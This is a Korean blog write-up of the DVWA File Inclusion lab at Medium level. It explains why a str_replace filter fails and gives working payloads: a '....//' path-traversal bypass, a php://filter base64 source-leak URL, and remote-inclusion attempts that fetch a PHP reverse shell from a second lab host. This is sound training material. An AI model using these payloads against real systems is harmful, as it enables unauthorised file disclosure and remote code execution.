이 문서에 포함된 어떠한 내용도 불법적이거나 비윤리적인 목적으로 보안 도구나 방법론을 사용하도록 가르치거나 장려하지 않습니다. 항상 책임감 있는 태도로 행동하세요. 여기에 설명된 도구나 기법을 사용하기 전에 개인 테스트 환경 또는 허가를 받았는지 확인하세요. |
[ 환경 ]
DVWA | v1.9 |
Burp Suite | Community Edition v2024.11.2 |
$file = $_GET[ 'page' ];
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
[그림 2]와 같이 Low level에서 사용한 expoit을 시도하면, 소스코에서 확인한 내용과 같이 ../, ..\를 필터링하기 때문에 파일을 읽을 수 없다.
하지만 아래와 같은 exploit 만으로도 간단한 방법으로도 우회가 가능하다. 우회가 가능한 이유는 str_replace는 단순히 특정 문자열을 대체하므로 복잡한 공격 패턴을 방어하지 못하기 때문이다.
http://192.168.107.144/vulnerabilities/fi/?page=....//....//hackable/flags/fi.php |
우회하는 원리를 살펴보면 간단하다. page Parameter ../가 존재하면 제거를 하지만 ....//....//와 같이 입력하면, ../ 부분 ( ....//....// ) 이 제거되면서 다시 ../../가 완성되기 때문에 우회가 가능하게 된다.
그럼 RFI ( Remote File Inclusion)는 어떤지 살펴보자. Low level에서 사용한것과 같이 exploit을 하면, [그림 4]와 같이 동작하지 않는것을 확인할 수 있다.
http://http://192.168.107.135:8888/php-reverse-shell.php, hhttp://thttp://thttp://phttp://:http:// http:///http://192.168 .107.135:8888/php-reverse-shell.php 등 다양한 방법으로 RFI를 시도하였으나, 실패하였다.
하지만 PHP에서 Wrapper는 파일 시스템(file://), HTTP(http://), FTP(ftp://), 그리고 I/O 스트림(php://) 등 다양한 프로토콜과 데이터 소스에 대한 추상화 계층을 제공한다. 이 중 I/O Streams Wrapper는 파일의 데이터 처리를 유연하게 관리할 수 있는 강력한 기능을 제공하며, 입력 및 출력 스트림(stdin, stdout, stderr)과 연결하여 특정 작업(문자열 변환, 압축, 암호화 등)을 수행할 수 있다. 그러나 이 기능은 잘못 사용될 경우 보안 취약점으로 이어질 수 있으며, 특히 File Inclusion 취약점과 결합될 경우 공격자는 PHP 소스 코드를 노출시킬 수 있다. 이를 위해 I/O Streams의 필터 기능 중 하나인 convert.base64-encode를 활용하여 PHP 파일을 실행하지 않고 소스 코드를 Base64로 인코딩된 상태로 읽을 수 있다.
I/O Streams Wrapper는 특정 파일에 대해 읽기 또는 쓰기 작업을 수행할 때, 지정된 필터를 통해 데이터를 변환한다. 예를 들어, 다음 코드는 test.php 파일의 내용을 읽으면서 Base64로 인코딩하여 출력한다.
include 'php://filter/read=convert.base64-encode/resource=test.php';
이 코드는 PHP 엔진이 test.php 파일의 내용을 Base64로 변환하여 출력하도록 한다. 이렇게 출력된 결과를 Base64 디코딩하면, PHP 파일의 원본 소스 코드를 복원할 수 있다. 이를 이용하여, ../hackable/flags/fi.php 파일의 원본 소스코드를 살펴보자.
http://192.168.107.144/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=....//....//hackable/flags/fi.php
실제로 플래그 파일에 대해서 필터를 적용한 결과 [그림 9]와 같이 base64 code가 출력되는것을 확인할 수 있다.
base64 code로 출력된 내용을 Decode 해서 살펴보면, [그림 10]과 같이 ../hackable/flags/fi.php 파일의 원본 소스코드를 확인할 수 있으며, 5개의 명언들을 모두 확인할 수 있다.
DVWA : File Inclusion - Impossible level (0) | 2025.01.04 |
---|---|
DVWA : File Inclusion - High level (0) | 2025.01.03 |
DVWA : File Inclusion - Low level (1) | 2025.01.02 |
DVWA : CSRF - Impossible level (0) | 2025.01.01 |
DVWA : CSRF - High level (0) | 2025.01.01 |